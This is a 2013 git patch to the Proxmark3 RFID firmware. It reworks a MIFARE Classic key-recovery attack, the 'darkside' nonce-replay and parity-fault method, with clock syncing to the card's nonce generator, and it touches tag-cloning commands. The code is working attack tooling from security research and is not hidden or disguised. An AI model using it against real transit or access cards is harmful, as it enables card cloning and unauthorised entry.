From 1c611bbd26066e1a8dd36ffd389b57040a7dfad6 Mon Sep 17 00:00:00 2001 From: "micki.held@gmx.de" Date: Mon, 8 Jul 2013 17:56:05 +0000 Subject: [PATCH] --- armsrc/appmain.c | 92 +++--- armsrc/apps.h | 2 +- armsrc/iso14443a.c | 560 +++++++++++++++-------------------- armsrc/mifarecmd.c | 18 +- armsrc/util.c | 61 +++- armsrc/util.h | 3 + client/cmdhfmf.c | 35 +-- client/nonce2key/nonce2key.c | 6 +- client/nonce2key/nonce2key.h | 2 +- 9 files changed, 373 insertions(+), 406 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index cecf4d35..c1d4940d 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -626,7 +626,7 @@ void UsbPacketReceived(uint8_t *packet, int len) #ifdef WITH_LF case CMD_ACQUIRE_RAW_ADC_SAMPLES_125K: AcquireRawAdcSamples125k(c->arg[0]); - cmd_send(CMD_ACK,0,0,0,0,0); + cmd_send(CMD_ACK,0,0,0,0,0); break; case CMD_MOD_THEN_ACQUIRE_RAW_ADC_SAMPLES_125K: ModThenAcquireRawAdcSamples125k(c->arg[0],c->arg[1],c->arg[2],c->d.asBytes); @@ -638,7 +638,7 @@ void UsbPacketReceived(uint8_t *packet, int len) CmdHIDsimTAG(c->arg[0], c->arg[1], 1); // Simulate HID tag by ID break; case CMD_HID_CLONE_TAG: // Clone HID tag by ID to T55x7 - CopyHIDtoT55x7(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); + CopyHIDtoT55x7(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); break; case CMD_EM410X_WRITE_TAG: WriteEM410x(c->arg[0], c->arg[1], c->arg[2]); @@ -663,26 +663,26 @@ void UsbPacketReceived(uint8_t *packet, int len) case CMD_INDALA_CLONE_TAG_L: // Clone Indala 224-bit tag by UID to T55x7 CopyIndala224toT55x7(c->d.asDwords[0], c->d.asDwords[1], c->d.asDwords[2], c->d.asDwords[3], c->d.asDwords[4], c->d.asDwords[5], c->d.asDwords[6]); break; - case CMD_T55XX_READ_BLOCK: - T55xxReadBlock(c->arg[1], c->arg[2],c->d.asBytes[0]); - break; - case CMD_T55XX_WRITE_BLOCK: - T55xxWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); - break; - case CMD_T55XX_READ_TRACE: // Clone HID tag by ID to T55x7 - T55xxReadTrace(); - break; - case CMD_PCF7931_READ: // Read PCF7931 tag - ReadPCF7931(); - cmd_send(CMD_ACK,0,0,0,0,0); -// UsbSendPacket((uint8_t*)&ack, sizeof(ack)); - break; - case CMD_EM4X_READ_WORD: - EM4xReadWord(c->arg[1], c->arg[2],c->d.asBytes[0]); - break; - case CMD_EM4X_WRITE_WORD: - EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); - break; + case CMD_T55XX_READ_BLOCK: + T55xxReadBlock(c->arg[1], c->arg[2],c->d.asBytes[0]); + break; + case CMD_T55XX_WRITE_BLOCK: + T55xxWriteBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); + break; + case CMD_T55XX_READ_TRACE: // Clone HID tag by ID to T55x7 + T55xxReadTrace(); + break; + case CMD_PCF7931_READ: // Read PCF7931 tag + ReadPCF7931(); + cmd_send(CMD_ACK,0,0,0,0,0); +// UsbSendPacket((uint8_t*)&ack, sizeof(ack)); + break; + case CMD_EM4X_READ_WORD: + EM4xReadWord(c->arg[1], c->arg[2],c->d.asBytes[0]); + break; + case CMD_EM4X_WRITE_WORD: + EM4xWriteWord(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes[0]); + break; #endif #ifdef WITH_HITAG @@ -772,7 +772,7 @@ void UsbPacketReceived(uint8_t *packet, int len) break; case CMD_READER_MIFARE: - ReaderMifare(c); + ReaderMifare(c->arg[0]); break; case CMD_MIFARE_READBL: MifareReadBlock(c->arg[0], c->arg[1], c->arg[2], c->d.asBytes); @@ -863,7 +863,7 @@ void UsbPacketReceived(uint8_t *packet, int len) LED_D_OFF(); // LED D indicates field ON or OFF break; - case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: { + case CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K: // UsbCommand n; // if(c->cmd == CMD_DOWNLOAD_RAW_ADC_SAMPLES_125K) { // n.cmd = CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K; @@ -877,24 +877,24 @@ void UsbPacketReceived(uint8_t *packet, int len) // UsbSendPacket((uint8_t *)&n, sizeof(n)); // LED_B_OFF(); - LED_B_ON(); - for(size_t i=0; iarg[1]; i += USB_CMD_DATA_SIZE) { - size_t len = MIN((c->arg[1] - i),USB_CMD_DATA_SIZE); - cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K,i,len,0,((byte_t*)BigBuf)+c->arg[0]+i,len); - } - // Trigger a finish downloading signal with an ACK frame - cmd_send(CMD_ACK,0,0,0,0,0); + LED_B_ON(); + for(size_t i=0; iarg[1]; i += USB_CMD_DATA_SIZE) { + size_t len = MIN((c->arg[1] - i),USB_CMD_DATA_SIZE); + cmd_send(CMD_DOWNLOADED_RAW_ADC_SAMPLES_125K,i,len,0,((byte_t*)BigBuf)+c->arg[0]+i,len); + } + // Trigger a finish downloading signal with an ACK frame + cmd_send(CMD_ACK,0,0,0,0,0); LED_B_OFF(); - } break; + break; case CMD_DOWNLOADED_SIM_SAMPLES_125K: { uint8_t *b = (uint8_t *)BigBuf; memcpy(b+c->arg[0], c->d.asBytes, 48); //Dbprintf("copied 48 bytes to %i",b+c->arg[0]); // UsbSendPacket((uint8_t*)&ack, sizeof(ack)); - cmd_send(CMD_ACK,0,0,0,0,0); - } break; - + cmd_send(CMD_ACK,0,0,0,0,0); + break; + } case CMD_READ_MEM: ReadMem(c->arg[0]); break; @@ -926,35 +926,35 @@ void UsbPacketReceived(uint8_t *packet, int len) #endif case CMD_SETUP_WRITE: case CMD_FINISH_WRITE: - case CMD_HARDWARE_RESET: { - usb_disable(); + case CMD_HARDWARE_RESET: + usb_disable(); SpinDelay(1000); SpinDelay(1000); AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; for(;;) { // We're going to reset, and the bootrom will take control. } - } break; + break; - case CMD_START_FLASH: { + case CMD_START_FLASH: if(common_area.flags.bootrom_present) { common_area.command = COMMON_AREA_COMMAND_ENTER_FLASH_MODE; } - usb_disable(); + usb_disable(); AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; for(;;); - } break; + break; case CMD_DEVICE_INFO: { uint32_t dev_info = DEVICE_INFO_FLAG_OSIMAGE_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_OS; if(common_area.flags.bootrom_present) dev_info |= DEVICE_INFO_FLAG_BOOTROM_PRESENT; // UsbSendPacket((uint8_t*)&c, sizeof(c)); - cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0); - } break; - - default: { + cmd_send(CMD_DEVICE_INFO,dev_info,0,0,0,0); + break; + } + default: Dbprintf("%s: 0x%04x","unknown command:",c->cmd); - } break; + break; } } diff --git a/armsrc/apps.h b/armsrc/apps.h index 2f003cc4..394b0192 100644 --- a/armsrc/apps.h +++ b/armsrc/apps.h @@ -156,7 +156,7 @@ void RAMFUNC SniffMifare(uint8_t param); void EPA_PACE_Collect_Nonce(UsbCommand * c); // mifarecmd.h -void ReaderMifare(UsbCommand *c); +void ReaderMifare(bool first_try); void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *data); void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain); diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 111d7139..56afaeb8 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1515,7 +1515,7 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, int maxLen, int // Signal field is on with the appropriate LED LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); - + // Now get the answer from the card Demod.output = receivedResponse; Demod.len = 0; @@ -1612,11 +1612,11 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u int len; // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitBitsPar(wupa,7,0); + ReaderTransmitBitsPar(wupa,7,0); // Receive the ATQA if(!ReaderReceive(resp)) return 0; // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); - + if(p_hi14a_card) { memcpy(p_hi14a_card->atqa, resp, 2); p_hi14a_card->uidlen = 0; @@ -1625,7 +1625,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u // clear uid if (uid_ptr) { - memset(uid_ptr,0,8); + memset(uid_ptr,0,10); } // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in @@ -1688,7 +1688,7 @@ int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, u // Request for answer to select AppendCrc14443a(rats, 2); ReaderTransmit(rats, sizeof(rats)); - + if (!(len = ReaderReceive(resp))) return 0; if(p_hi14a_card) { @@ -1811,354 +1811,266 @@ void ReaderIso14443a(UsbCommand * c) LEDsoff(); } -#define TEST_LENGTH 100 -typedef struct mftest{ - uint8_t nt[8]; - uint8_t count; -}mftest ; - -/** - *@brief Tunes the mifare attack settings. This method checks the nonce entropy when - *using a specified timeout. - *Different cards behave differently, some cards require up to a second to power down (and thus reset - *token generator), other cards are fine with 50 ms. - * - * @param time - * @return the entropy. A value of 100 (%) means that every nonce was unique, while a value close to - *zero indicates a low entropy: the given timeout is sufficient to power down the card. - */ -int TuneMifare(int time) + +// prepare the Mifare AUTH transfer with an added necessary delay. +void PrepareDelayedAuthTransfer(uint8_t* frame, int len, uint16_t delay) { - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); - - iso14443a_setup(); - int TIME1=time; - int TIME2=2000; - uint8_t uid[8]; - uint32_t cuid; - byte_t nt[4]; - Dbprintf("Tuning... testing a delay of %d ms (press button to skip)",time); - - - mftest nt_values[TEST_LENGTH]; - int nt_size = 0; - int i = 0; - for(i = 0 ; i< 100 ; i++) - { - LED_C_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(TIME1); - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - LED_C_ON(); - SpinDelayUs(TIME2); - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; - - // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth, sizeof(mf_auth)); - - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - //store it - int already_stored = 0; - for(int i = 0 ; i < nt_size && !already_stored; i++) - { - if( memcmp(nt, nt_values[i].nt, 4) == 0) - { - nt_values[i].count++; - already_stored = 1; - } - } - if(!already_stored) - { - mftest* ptr= &nt_values[nt_size++]; - //Clear it before use - memset(ptr, 0, sizeof(mftest)); - memcpy(ptr->nt, nt, 4); - ptr->count = 1; - } + CodeIso14443aBitsAsReaderPar(frame, len*8, GetParity(frame,len)); - if(BUTTON_PRESS()) - { - Dbprintf("Tuning aborted prematurely"); - break; - } - } - /* - for(int i = 0 ; i < nt_size;i++){ - mftest x = nt_values[i]; - Dbprintf("%d,%d,%d,%d : %d",x.nt[0],x.nt[1],x.nt[2],x.nt[3],x.count); - } - */ - int result = nt_size *100 / i; - Dbprintf(" ... results for %d ms : %d %",time, result); - return result; + uint8_t bitmask = 0; + uint8_t bits_to_shift = 0; + uint8_t bits_shifted = 0; + + if (delay) { + for (uint16_t i = 0; i < delay; i++) { + bitmask |= (0x01 << i); + } + ToSend[++ToSendMax] = 0x00; + for (uint16_t i = 0; i < ToSendMax; i++) { + bits_to_shift = ToSend[i] & bitmask; + ToSend[i] = ToSend[i] >> delay; + ToSend[i] = ToSend[i] | (bits_shifted << (8 - delay)); + bits_shifted = bits_to_shift; + } + } } -//----------------------------------------------------------------------------- -// Read an ISO 14443a tag. Send out commands and store answers. -// -//----------------------------------------------------------------------------- -#define STATE_SIZE 100 -typedef struct AttackState{ - byte_t nt[4]; - byte_t par_list[8]; - byte_t ks_list[8]; - byte_t par; - byte_t par_low; - byte_t nt_diff; - uint8_t mf_nr_ar[8]; -} AttackState; - - -int continueAttack(AttackState* pState,uint8_t* receivedAnswer) -{ - // Transmit reader nonce and reader answer - ReaderTransmitPar(pState->mf_nr_ar, sizeof(pState->mf_nr_ar),pState->par); - // Receive 4 bit answer - int len = ReaderReceive(receivedAnswer); - if (!len) - { - if (pState->nt_diff == 0) - { - pState->par++; - } else { - pState->par = (((pState->par >> 3) + 1) << 3) | pState->par_low; - } - return 2; - } - if(pState->nt_diff == 0) - { - pState->par_low = pState->par & 0x07; - } - //Dbprintf("answer received, parameter (%d), (memcmp(nt, nt_no)=%d",parameter,memcmp(nt, nt_noattack, 4)); - //if ( (parameter != 0) && (memcmp(nt, nt_noattack, 4) == 0) ) continue; - //isNULL = 0;//|| !(nt_attacked[0] == 0) && (nt_attacked[1] == 0) && (nt_attacked[2] == 0) && (nt_attacked[3] == 0); - // - // if ( /*(isNULL != 0 ) && */(memcmp(nt, nt_attacked, 4) != 0) ) continue; - - //led_on = !led_on; - //if(led_on) LED_B_ON(); else LED_B_OFF(); - pState->par_list[pState->nt_diff] = pState->par; - pState->ks_list[pState->nt_diff] = receivedAnswer[0] ^ 0x05; - - // Test if the information is complete - if (pState->nt_diff == 0x07) { - return 0; - } +// Determine the distance between two nonces. +// Assume that the difference is small, but we don't know which is first. +// Therefore try in alternating directions. +int32_t dist_nt(uint32_t nt1, uint32_t nt2) { + + uint16_t i; + uint32_t nttmp1, nttmp2; + + if (nt1 == nt2) return 0; - pState->nt_diff = (pState->nt_diff + 1) & 0x07; - pState->mf_nr_ar[3] = pState->nt_diff << 5; - pState->par = pState->par_low; - return 1; + nttmp1 = nt1; + nttmp2 = nt2; + + for (i = 1; i < 32768; i++) { + nttmp1 = prng_successor(nttmp1, 1); + if (nttmp1 == nt2) return i; + nttmp2 = prng_successor(nttmp2, 1); + if (nttmp2 == nt1) return -i; + } + + return(-99999); // either nt1 or nt2 are invalid nonces } -void reportResults(uint8_t uid[8],AttackState *pState, int isOK) -{ - LogTrace(pState->nt, 4, 0, GetParity(pState->nt, 4), TRUE); - LogTrace(pState->par_list, 8, 0, GetParity(pState->par_list, 8), TRUE); - LogTrace(pState->ks_list, 8, 0, GetParity(pState->ks_list, 8), TRUE); - - byte_t buf[48]; - memcpy(buf + 0, uid, 4); - if(pState != NULL) - { - memcpy(buf + 4, pState->nt, 4); - memcpy(buf + 8, pState->par_list, 8); - memcpy(buf + 16, pState->ks_list, 8); - } - LED_B_ON(); - cmd_send(CMD_ACK,isOK,0,0,buf,48); - LED_B_OFF(); +//----------------------------------------------------------------------------- +// Recover several bits of the cypher stream. This implements (first stages of) +// the algorithm described in "The Dark Side of Security by Obscurity and +// Cloning MiFare Classic Rail and Building Passes, Anywhere, Anytime" +// (article by Nicolas T. Courtois, 2009) +//----------------------------------------------------------------------------- +void ReaderMifare(bool first_try) +{ + // Mifare AUTH + uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; + uint8_t mf_nr_ar[] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + static uint8_t mf_nr_ar3; - // Thats it... - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - LEDsoff(); - tracing = TRUE; + uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); + traceLen = 0; + tracing = false; - if (MF_DBGLEVEL >= 1) DbpString("COMMAND mifare FINISHED"); -} + byte_t nt_diff = 0; + byte_t par = 0; + //byte_t par_mask = 0xff; + static byte_t par_low = 0; + bool led_on = TRUE; + uint8_t uid[10]; + uint32_t cuid; -void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time); - -/** - * @brief New implementation of ReaderMifare, the classic mifare attack. - * This implementation is backwards-compatible, but has some added parameters. - * @param c the usbcommand in complete - * c->arg[0] - nt_noattack (deprecated) - * c->arg[1] - offset_time us (0 => random) - * c->arg[2] - powerdown_time ms (0=> tuning) - * - */ -void ReaderMifare(UsbCommand *c) -{ - /* - * The 'no-attack' is not used anymore, with the introduction of - * state tables. Instead, we use an offset which is random. This means that we - * should not get stuck on a 'bad' nonce, so no-attack is not needed. - * Anyway, arg[0] is reserved for backwards compatibility - uint32_t nt_noattack_uint = c->arg[0]; - byte_t nt_noattack[4]; - num_to_bytes(parameter, 4, nt_noattack_uint); - - */ - /* - *IF, for some reason, you want to attack a specific nonce or whatever, - *you can specify the offset time yourself, in which case it won't be random. - * - * The offset time is microseconds, MICROSECONDS, not ms. - */ - uint32_t offset_time = c->arg[1]; - if(offset_time == 0) - { - //[Martin:]I would like to have used rand(), but linking problems prevented it - //offset_time = rand() % 4000; - //So instead, I found this nifty thingy, which seems to fit the bill - offset_time = GetTickCount() % 2000; - } - /* - * There is an implementation of tuning. Tuning will try to determine - * a good power-down time, which is different for different cards. - * If a value is specified from the packet, we won't do any tuning. - * A value of zero will initialize a tuning. - * The power-down time is milliseconds, that MILLI-seconds . - */ - uint32_t powerdown_time = c->arg[2]; - if(powerdown_time == 0) - { - //Tuning required - int entropy = 100; - int time = 25; - entropy = TuneMifare(time); - - while(entropy > 50 && time < 2000){ - //Increase timeout, but never more than 500ms at a time - time = MIN(time*2, time+500); - entropy = TuneMifare(time); - } - if(entropy > 50){ - Dbprintf("OBS! This card has high entropy (%d) and slow power-down. This may take a while", entropy); - } - powerdown_time = time; - } - //The actual attack - ReaderMifareBegin(offset_time, powerdown_time); -} -void ReaderMifareBegin(uint32_t offset_time, uint32_t powerdown_time) -{ - Dbprintf("Using power-down-time of %d ms, offset time %d us", powerdown_time, offset_time); + uint32_t nt, previous_nt; + static uint32_t nt_attacked = 0; + byte_t par_list[8] = {0,0,0,0,0,0,0,0}; + byte_t ks_list[8] = {0,0,0,0,0,0,0,0}; - /** - *Allocate our state-table and initialize with zeroes - **/ + static uint32_t sync_time; + static uint32_t sync_cycles; + int catch_up_cycles = 0; + int last_catch_up = 0; + uint16_t consecutive_resyncs = 0; + int isOK = 0; - AttackState states[STATE_SIZE] ; - //Dbprintf("Memory allocated ok! (%d bytes)",STATE_SIZE*sizeof(AttackState) ); - memset(states, 0, STATE_SIZE*sizeof(AttackState)); - // Mifare AUTH - uint8_t mf_auth[] = { 0x60,0x00,0xf5,0x7b }; - uint8_t* receivedAnswer = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - traceLen = 0; - tracing = false; + if (first_try) { + StartCountMifare(); + mf_nr_ar3 = 0; + iso14443a_setup(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_TAGSIM_LISTEN); // resets some FPGA internal registers + while((GetCountMifare() & 0xffff0000) != 0x10000); // wait for counter to reset and "warm up" + while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low + while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // sync on rising edge of ssp_frame + sync_time = GetCountMifare(); + sync_cycles = 65536; // theory: Mifare Classic's random generator repeats every 2^16 cycles (and so do the nonces). + nt_attacked = 0; + nt = 0; + par = 0; + } + else { + // we were unsuccessful on a previous call. Try another READER nonce (first 3 parity bits remain the same) + // nt_attacked = prng_successor(nt_attacked, 1); + mf_nr_ar3++; + mf_nr_ar[3] = mf_nr_ar3; + par = par_low; + } - iso14443a_setup(); LED_A_ON(); LED_B_OFF(); LED_C_OFF(); + + + for(uint16_t i = 0; TRUE; i++) { + + WDT_HIT(); - LED_A_OFF(); - uint8_t uid[8]; - uint32_t cuid; + // Test if the action was cancelled + if(BUTTON_PRESS()) { + break; + } + + LED_C_ON(); - byte_t nt[4]; - int nts_attacked= 0; - //Keeps track of progress (max value of nt_diff for our states) - int progress = 0; - int high_entropy_warning_issued = 0; - while(!BUTTON_PRESS()) - { - LED_C_OFF(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - SpinDelay(powerdown_time); + if(!iso14443a_select_card(uid, NULL, &cuid)) { + continue; + } + + //keep the card active FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_MOD); - LED_C_ON(); - SpinDelayUs(offset_time); - if(!iso14443a_select_card(uid, NULL, &cuid)) continue; + PrepareDelayedAuthTransfer(mf_auth, sizeof(mf_auth), (sync_cycles + catch_up_cycles) & 0x00000007); + sync_time = sync_time + ((sync_cycles + catch_up_cycles) & 0xfffffff8); + catch_up_cycles = 0; + + // if we missed the sync time already, advance to the next nonce repeat + while(GetCountMifare() > sync_time) { + sync_time = sync_time + (sync_cycles & 0xfffffff8); + } + + // now sync. After syncing, the following Classic Auth will return the same tag nonce (mostly) + while(GetCountMifare() < sync_time); + // Transmit MIFARE_CLASSIC_AUTH - ReaderTransmit(mf_auth, sizeof(mf_auth)); - - // Receive the (16 bit) "random" nonce - if (!ReaderReceive(receivedAnswer)) continue; - memcpy(nt, receivedAnswer, 4); - - //Now we have the NT. Check if this NT is already under attack - AttackState* pState = NULL; - int i = 0; - for(i = 0 ; i < nts_attacked && pState == NULL; i++) - { - if( memcmp(nt, states[i].nt, 4) == 0) - { - //we have it - pState = &states[i]; - //Dbprintf("Existing state found (%d)", i); - } - } + int samples = 0; + int wait = 0; + TransmitFor14443a(ToSend, ToSendMax, &samples, &wait); - if(pState == NULL){ - if(nts_attacked < STATE_SIZE ) - { - //Initialize a new state - pState = &states[nts_attacked++]; - //Clear it before use - memset(pState, 0, sizeof(AttackState)); - memcpy(pState->nt, nt, 4); - i = nts_attacked; - //Dbprintf("New state created, nt="); - }else if(!high_entropy_warning_issued){ - /** - *If we wound up here, it means that the state table was eaten up by potential nonces. This could be fixed by - *increasing the size of the state buffer, however, it points to some other problem. Ideally, we should get the same nonce - *every time. Realistically we should get a few different nonces, but if we get more than 50, there is probably somehting - *else that is wrong. An attack using too high nonce entropy will take **LONG** time to finish. - */ - DbpString("WARNING: Nonce entropy is suspiciously high, something is wrong. Check timeouts (and perhaps increase STATE_SIZE)"); - high_entropy_warning_issued = 1; - } - } - if(pState == NULL) continue; - - int result = continueAttack(pState, receivedAnswer); - - if(result == 1){ - //One state progressed another step - if(pState->nt_diff > progress) - { - progress = pState->nt_diff; - //Alert the user - Dbprintf("Recovery progress: %d/8, NTs attacked: %d ", progress,nts_attacked ); - } - //Dbprintf("State increased to %d in state %d", pState->nt_diff, i); - } - else if(result == 2){ - //Dbprintf("Continue attack no answer, par is now %d", pState->par); - } - else if(result == 0){ - reportResults(uid,pState,1); - return; - } - } - reportResults(uid,NULL,0); + // Receive the (4 Byte) "random" nonce + if (!ReaderReceive(receivedAnswer)) { + continue; + } + + + previous_nt = nt; + nt = bytes_to_num(receivedAnswer, 4); + + // Transmit reader nonce with fake par + ReaderTransmitPar(mf_nr_ar, sizeof(mf_nr_ar), par); + + if (first_try && previous_nt && !nt_attacked) { // we didn't calibrate our clock yet + int nt_distance = dist_nt(previous_nt, nt); + if (nt_distance == 0) { + nt_attacked = nt; + } + else { + if (nt_distance == -99999) { // invalid nonce received, try again + continue; + } + sync_cycles = (sync_cycles - nt_distance); +// Dbprintf("calibrating in cycle %d. nt_distance=%d, Sync_cycles: %d\n", i, nt_distance, sync_cycles); + continue; + } + } + + if ((nt != nt_attacked) && nt_attacked) { // we somehow lost sync. Try to catch up again... + catch_up_cycles = -dist_nt(nt_attacked, nt); + if (catch_up_cycles == 99999) { // invalid nonce received. Don't resync on that one. + catch_up_cycles = 0; + continue; + } + if (catch_up_cycles == last_catch_up) { + consecutive_resyncs++; + } + else { + last_catch_up = catch_up_cycles; + consecutive_resyncs = 0; + } + if (consecutive_resyncs < 3) { + Dbprintf("Lost sync in cycle %d. nt_distance=%d. Consecutive Resyncs = %d. Trying one time catch up...\n", i, -catch_up_cycles, consecutive_resyncs); + } + else { + sync_cycles = sync_cycles + catch_up_cycles; + Dbprintf("Lost sync in cycle %d for the fourth time consecutively (nt_distance = %d). Adjusting sync_cycles to %d.\n", i, -catch_up_cycles, sync_cycles); + } + continue; + } + + consecutive_resyncs = 0; + + // Receive answer. This will be a 4 Bit NACK when the 8 parity bits are OK after decoding + if (ReaderReceive(receivedAnswer)) + { + catch_up_cycles = 8; // the PRNG doesn't run during data transfers. 4 Bit = 8 cycles + + if (nt_diff == 0) + { + par_low = par & 0x07; // there is no need to check all parities for other nt_diff. Parity Bits for mf_nr_ar[0..2] won't change + } + + led_on = !led_on; + if(led_on) LED_B_ON(); else LED_B_OFF(); + + par_list[nt_diff] = par; + ks_list[nt_diff] = receivedAnswer[0] ^ 0x05; + + // Test if the information is complete + if (nt_diff == 0x07) { + isOK = 1; + break; + } + + nt_diff = (nt_diff + 1) & 0x07; + mf_nr_ar[3] = (mf_nr_ar[3] & 0x1F) | (nt_diff << 5); + par = par_low; + } else { + if (nt_diff == 0 && first_try) + { + par++; + } else { + par = (((par >> 3) + 1) << 3) | par_low; + } + } + } + + LogTrace((const uint8_t *)&nt, 4, 0, GetParity((const uint8_t *)&nt, 4), TRUE); + LogTrace(par_list, 8, 0, GetParity(par_list, 8), TRUE); + LogTrace(ks_list, 8, 0, GetParity(ks_list, 8), TRUE); + + mf_nr_ar[3] &= 0x1F; + + byte_t buf[28]; + memcpy(buf + 0, uid, 4); + num_to_bytes(nt, 4, buf + 4); + memcpy(buf + 8, par_list, 8); + memcpy(buf + 16, ks_list, 8); + memcpy(buf + 24, mf_nr_ar, 4); + + cmd_send(CMD_ACK,isOK,0,0,buf,28); + + // Thats it... + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); + tracing = TRUE; } + //----------------------------------------------------------------------------- // MIFARE 1K simulate. // diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index f328b123..02470702 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -28,7 +28,7 @@ void MifareReadBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) // variables byte_t isOK = 0; byte_t dataoutbuf[16]; - uint8_t uid[8]; + uint8_t uid[10]; uint32_t cuid; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; @@ -109,7 +109,7 @@ void MifareReadSector(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) // variables byte_t isOK = 0; byte_t dataoutbuf[16 * 4]; - uint8_t uid[8]; + uint8_t uid[10]; uint32_t cuid; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; @@ -208,7 +208,7 @@ void MifareWriteBlock(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) // variables byte_t isOK = 0; - uint8_t uid[8]; + uint8_t uid[10]; uint32_t cuid; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; @@ -298,7 +298,7 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) // variables int rtr, i, j, m, len; int davg, dmin, dmax; - uint8_t uid[8]; + uint8_t uid[10]; uint32_t cuid, nt1, nt2, nttmp, nttest, par, ks1; uint8_t par_array[4]; nestedVector nvector[NES_MAX_INFO + 1][11]; @@ -493,7 +493,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) } LED_B_ON(); - SpinDelay(100); cmd_send(CMD_ACK,0,ncount,targetBlockNo + (targetKeyType * 0x100),buf,48); // UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); LED_B_OFF(); @@ -507,7 +506,6 @@ void MifareNested(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain) // memset(ack.d.asBytes, 0x00, sizeof(ack.d.asBytes)); LED_B_ON(); - SpinDelay(300); // UsbSendPacket((uint8_t *)&ack, sizeof(UsbCommand)); cmd_send(CMD_ACK,1,0,0,0,0); LED_B_OFF(); @@ -536,7 +534,7 @@ void MifareChkKeys(uint8_t arg0, uint8_t arg1, uint8_t arg2, uint8_t *datain) // variables int i; byte_t isOK = 0; - uint8_t uid[8]; + uint8_t uid[10]; uint32_t cuid; struct Crypto1State mpcs = {0, 0}; struct Crypto1State *pcs; @@ -649,7 +647,7 @@ void MifareECardLoad(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai // variables byte_t dataoutbuf[16]; byte_t dataoutbuf2[16]; - uint8_t uid[8]; + uint8_t uid[10]; // clear trace iso14a_clear_trace(); @@ -761,11 +759,11 @@ void MifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datai // variables byte_t isOK = 0; - uint8_t uid[8]; + uint8_t uid[10]; uint8_t d_block[18]; uint32_t cuid; - memset(uid, 0x00, 8); + memset(uid, 0x00, 10); uint8_t* receivedAnswer = mifare_get_bigbufptr(); if (workFlags & 0x08) { diff --git a/armsrc/util.c b/armsrc/util.c index f2298290..9bea9e7e 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -294,11 +294,11 @@ void StartCountUS() AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // timer disable AT91C_BASE_TC1->TC_CMR = 